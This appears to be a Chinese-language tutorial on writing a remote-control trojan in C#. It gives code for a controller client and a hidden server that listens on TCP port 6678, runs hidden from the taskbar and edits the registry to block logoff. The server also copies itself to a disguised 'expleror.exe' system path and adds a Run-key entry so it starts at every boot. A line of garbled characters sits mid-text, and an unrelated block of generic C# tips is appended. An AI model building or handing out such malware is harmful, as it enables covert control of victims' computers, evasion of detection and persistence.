C# 编写木马程序

 

[通过本文,大家可以快速了解c#中网络通讯中socket 开发 c/s结构框架的方法
因为本程序是木马程序,所以在介绍之前有一些木马构成的基本知识事先说明,因为下面很多地方会提到这些内容。一个完整的木马系统由硬件部分,软件部分和具体连接部分组成。这里主要对软件部分介绍,它主要有控制端程序、木马程序(后台服务程序)、木马配制程序组成。控制端用以远程控制服务端的程序;木马程序是潜入服务端内部,获取其操作权限的程序;木马配制程序是设置木马程序的端口号,触发条件,木马名称等,使其在服务端藏的更隐蔽的程序。


   使用的技术:
   控制端程序发送控制码控制服务器,服务器后台运行,修改注册表达到控制的目的。技术不是很难的,主要体现C#的网络编程和注册表的修改。
   控制端开发:
   控制端向服务器发出一段控制码,服务端(木马程序)收到控制码后,根据控制的要求,完成指定的要求,如果服务器完成工作,返回成功的信息。
   控制端的开发:
   控制码的设定你可以自已设定,不需要详解,主要有以下几个难点。
   1 连接请求
   使用了.NET类中的 System.Net.Sockets.TcpClient类,
   TcpClient(string hostname,int port)
   Hostname 是要控制的主机名称,当然你也可以用IP地址。
   Port是端口。
   // System.EventArgs包含事件数据类的基类
   private void button7_Click(object sender, System.EventArgs e)
   {
   //记录操作,在richTextBox控件中增加操作信息
   richTextBox1.AppendText("请求连接" +textBox1.Text +"/r");
   int port =6678;
   try
   {
   //初始化 TcpClient 类的新实例并连接到指定主机上的指定端口
   client = new TcpClient(textBox1.Text,port);
   }
   catch
   {
   MessageBox.Show("服务器不在线!确定是否输入主机名称.");
   richTextBox1.AppendText("服务器不在线!确定是否输入主机名称.");
   }
   }//private void buttion
   2测试是否与被控制机连接上。程序的流程是发送控制码看控制端是否有反应,如果有返回则显示控制成功。
   //提供网络访问的数据流
   //private NetworkStream stream;
   代码如下:
   private void button8_Click(object sender, System.EventArgs e)
   {
   //纪录操作
   richTextBox1.AppendText("测试连接" +"/r");
   try
   {
 
   stream = client.GetStream();
   if(stream.CanWrite)
   {
   //发送控制码
   string c;
   byte[] by =System.Text.Encoding.ASCII.GetBytes(control.ToCharArray());
   stream.Write(by,0,by.Length);
   //下次使用
   stream.Flush();
   //启动接收反回数据的线程
   //receive是线程执行的函数,见后面的分析
   threadReceive = new Thread(new ThreadStart(receive));
   threadReceive.Start();
   }
   }
   catch(Exception ee)
   {
   richTextBox1.AppendText (ee.Message+"/r");
   MessageBox.Show(ee.Message);
   }
   }™ò p /&dec [4bbs.frtime.com<B¶*Á¾Ñ À¯

3控制生效的代码
   private void button9_Click(object sender, System.EventArgs e)
   {
   //这里是确定要发送的控制码,RadioButton是窗体控件
   if(radioButton1.Checked){ control = form2.zhucex;}
   else if(radioButton2.Checked){ control =form3.zhuces;}
   else if(radioButton3.Checked){ control = warring;}
   else if(radioButton4.Checked){ control =suggest;}
   else if(radioButton5.Checked){ control =form4.mumawe;}
   else if(radioButton6.Checked){ control =drop;}
   if (control =="000000")
   {
   MessageBox.Show("你没有输入任何控制目标!不发控制信号");
   richTextBox1.AppendText("你没有输入任何控制目标!不发控制信号");
   }
   else if(control != "000000")
   {
   try
   {
   //记录操作
   richTextBox1.AppendText (control + "正在试图控制,等待回应......" + "/r");
   stream = client.GetStream();
   if(stream.CanWrite )
   {
   byte[] by = System.Text.Encoding.ASCII.GetBytes(control.ToCharArray ());
   stream.Write(by,0,by.Length);
   stream.Flush();
   threadReceive =new Thread(new ThreadStart(receive));
   threadReceive.Start();
   }//endif
   }//try
   catch
   {
   richTextBox1.AppendText("服务器未连接1控制无效!" +"/r");
   MessageBox.Show("服务器未连接1控制无效!" +"/r");
   }
   }//else if
   }
 
   4线程执行的函数
   private void receive()
   {
   //设置读取数据的空间
   byte[] bb = new byte[3];
   //读取3个字节,i为实际读取的字节数
   int i = stream.Read(bb,0,3);
   //转换成字符串,如果是中文控制码则用string ss = //System.Text.Encoding.Unicode.GetString(bb);
   string ss = System.Text.Encoding.ASCII.GetString(bb);
   //hjc为我设置的服务器的返回码 hjc为连接成功,hkz为控制成功
   if(ss=="hjc")
   {
   MessageBox.Show("连接成功");
   richTextBox1.AppendText("连接成功");
   }
   if(ss== "hkz")
   {
   richTextBox1.AppendText(control +"控制成功"+"/r");
   MessageBox.Show(control +"控制成功"+"/r");
   }
   }

服务端的开发:
   要实现木马服务的程序,主要实现以下几个功能:后台的运行(隐藏技术),控制码的接收与注册表的修改,下面对这三方面做介绍:
   1.在VC#中,建立一个后台服务程序是很容易的,先建立一个新的C#的Windows应用程序,项目名称自定(不过为了隐藏可使用与系统相近的名称),将窗体属性“ShowInTaskbar”属性设为false,让它运行时不会在任务栏中显示,并将属性“Windowstate”属性设为Mininized即可,这样窗体就可以隐藏运行了。当然你也可以在InitializeComponent()设置,此函数起初始化的作用,在窗体显示前运行,代码如下:
   private void InitializeComponent()
   {
   //
   // Form1
   //
   //窗体显示的起点和大小
   this.AutoScaleBaseSize = new System.Drawing.Size(6, 14);
   this.ClientSize = new System.Drawing.Size(368, 357);
   //窗体名称
   this.Name = "Form1";
   //设置属性让它后台运行
   this.ShowInTaskbar = false;
   this.Text = "Form1";
   this.WindowState = System.Windows.Forms.FormWindowState.Minimized;
   }
   2. 控制代码的接收,必需在服务程序运行开始就启动,所以侦听线程必需在程序初始化中启动,所以放在窗体的构造函数中,代码注解如下:
   public Form1() //窗体的构造函数
   {
   //
   // Windows 窗体设计器支持所必需的
   //
   InitializeComponent();
 
   //
   // TODO: 在 InitializeComponent 调用后添加任何构造函数代码
   //加入你的侦听代码
   //端口你可以自已设定,我使用了固定的端口
   int port =6678;
   //System.Net.Sockets.TcpListener是用来在Tcp网络中侦听客户端的
   listener = new TcpListener(port);
   //启动侦听
   listener.Start();
   //增加接收控制码的线程,如果要停止线程可以用 Thread.abort()
   //reControlCode 是线程启动执行的函数,此函数根据接收的控制
   //控制码选取合适的注册表修改函数
   Thread thread = new Thread(new ThreadStart(reControlCode));
   thread.Start();
   }
   reControlCode函数如下,完整代码见程序
   private void reControlCode()
   {
   //设置接收套接字,接收listener.AcceptSocket是返回已经接收的客户的请求
   socket = listener.AcceptSocket();
   //如果连接成功执行
   while (socket.Connected)
   {
   //接收控制码
   byte [] by =new byte[6];
   int i = socket.Receive(by,by.Length ,0);
   string ss = System.Text.Encoding.ASCII.GetString(by);
   //根据控制码执行不同的功能
 
   //修改注册表加入编码
   switch (ss)
   {
   case "jiance"://测试连接,返回测试信息
   string str ="hjc";
   byte [] bytee = System.Text.Encoding.ASCII.GetBytes(str);
   socket.Send(bytee,0,bytee.Length,0);
   break;
   case "zx1000":
   //修改注册表函数,自已定义,见下面分析
   UnLogOff();
   //返回控制消息
   retMessage();
   break;
 
   case "zx0100":
   //修改注册表函数
   UnClose();
   //返回控制消息
   retMessage();
   break;
   //重复的case功能与前面一样,略掉
   default:
   break;
   }//case
   }//while
   } //private void reControlCode

3.C#中实现注册表的修改,使用了.NET类库中的System.Microsoft.Win32命令空间,它提供两种类型的类:处理由操作系统引发的事件的类和对系统注册表进行操作的类。下面就可以看到它的用法。这里我做了一个修改注册表的子程序:使计算机不能注销。在这之前先了解注册表,在子键SOFTWARE//Microsoft//Windows//CurrentVersion//Policies//Explorer
   下面设键值NoLogOff 为 1 即可使计算机无法注销。在下面的函数中用C#实现对注册表的修改:
   private void UnLogOff()
   {
   //得到主机的注册表的顶级节点
   Microsoft.Win32.RegistryKey rLocal = Registry.LocalMachine;
   //设置一个注册表子键的变量
   RegistryKey key1;
   try
   {
   //函数RegistryKey.OpenSubkey(string registrykey,bool canwrite)检索指定的子键
   //registrykey是用户指定的键值,canwrite 为true则可修改,默认为fasle不可改
   key1 =
   rLocal.OpenSubKey("SOFTWARE//Microsoft//Windows//CurrentVersion//Policies//Explorer",true);
   //设置子键的键名,和值
   key1.SetValue ("NoLogOff",1);
   //关闭打开的子键
   key1.Close();
   //警告字符串设定
   mystr = mystr +"HKEY_LOCAL_MACHINE//SOFTWARE//Microsoft//Windows//CurrentVersion//Policies//Explorer键值Nologoff被修改!请将它置为0!";
   }
   catch{}
   //如果不存在自已建立
   if(key1 ==null)
   {
   try
   {
   //使用RegistryKey.CreateSubKey(string mystring)函数来建立你需要的子键
   RegistryKey key2 = rLocal.CreateSubKey("SOFTWARE//Microsoft//Windows//CurrentVersion//Policies//Explorer");
   key2.SetValue("NoLogOff",1);
   key2.Close();
   mystr = mystr +"HKEY_LOCAL_MACHINE//SOFTWARE//Microsoft//Windows//CurrentVersion//Policies//Explorer键值Nologoff被修改!请将它置为0!";
   }
   catch{}
   }
   }
   4.在木马程序中还有一个重要的功能就是自我的复制和转移。木马引入被控制的主机时必需自动将木马隐藏在System,System32的目录下以防被发现。转移的代码分析如下,主要实现的功能是将D盘下的木马程序转移到C://winnnt//system//msdoss.exe,同时换名称。使用的.NET命名空间System.IO,它的作用是允许对数据流和文件进行同步和异步读写。这里我们使用了System.IO.File类。
   private void moveCC1()
   {
   try
   {
   //函数File.Move(string sourceFileName,string destFileName)起移动文件的作用
   //sourceFileName为要移动的文件名,destFileName为文件的新路径
   File.Move("C://winnnt//system//msdoss.exe","d://winnt//system32//expleror.exe");
   }
   catch {}
   //将新移的木马程序设为自启动.分析和前面一样
   try
   {
   key1 = rLocal.OpenSubKey("SOFTWARE//Microsoft//Windows//CurrentVersion//Run",true);
   key1.SetValue ("microsoftt","d://winnt//system32//expleror.exe");
   key1.Close();
   }
   catch{}
   if(key1 ==null)
   {
   try
   {
   RegistryKey key2=rLocal.CreateSubKey("SOFTWARE//Microsoft//Windows//CurrentVersion//Run");
   key1.SetValue ("microsoftt","d://winnt//system32//expleror.exe");
   key1.Close();
   }
   catch{}
   }

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编写 C# 程序时,有几个技巧可以帮助您提高效率和代码质量: 1. 使用命名空间(Namespace):使用命名空间可以帮助您组织和管理代码。它们可以将相关的类型和成员分组在一起,避免命名冲突,并提供更清晰的代码结构。 2. 使用注释(Comments):注释是解释代码目的和功能的文本。良好的注释可以帮助他人了解您的代码,并且在以后维护代码时也非常有用。 3. 使用命名规范:采用一致的命名规范可以使您的代码更易于阅读和理解。例如,使用驼峰命名法(camel case)来命名变量和方法,使用 Pascal 命名法来命名类名和属性等。 4. 封装和抽象:封装可以隐藏类的内部实现细节,并通过公共接口提供对类的访问。抽象可以帮助您定义和实现通用的行为,并使代码更易于扩展和维护。 5. 异常处理:在编写程序时,应该考虑到可能发生的异常情况,并正确地处理它们。使用 try-catch 块来捕获和处理异常,以避免程序崩溃或出现不可预料的行为。 6. 使用适当的数据结构和算法:选择适当的数据结构和算法可以显著提高程序的性能和效率。了解各种数据结构和算法的优缺点,并根据问题的需求做出明智的选择。 7. 代码重用:尽量避免重复编写相同或类似的代码。将通用功能封装为可重用的方法或类,以减少代码冗余并提高代码维护性。 8. 使用调试工具:使用调试工具可以帮助您找到程序中的错误和问题。利用断点、调试输出和调试器等功能,在开发过程中逐步调试代码,以便更好地理解程序的执行过程和状态。 这些技巧只是编写 C# 程序的一部分,还有许多其他方面需要考虑。随着经验的积累和不断学习,您可以不断提高自己的编程技能。
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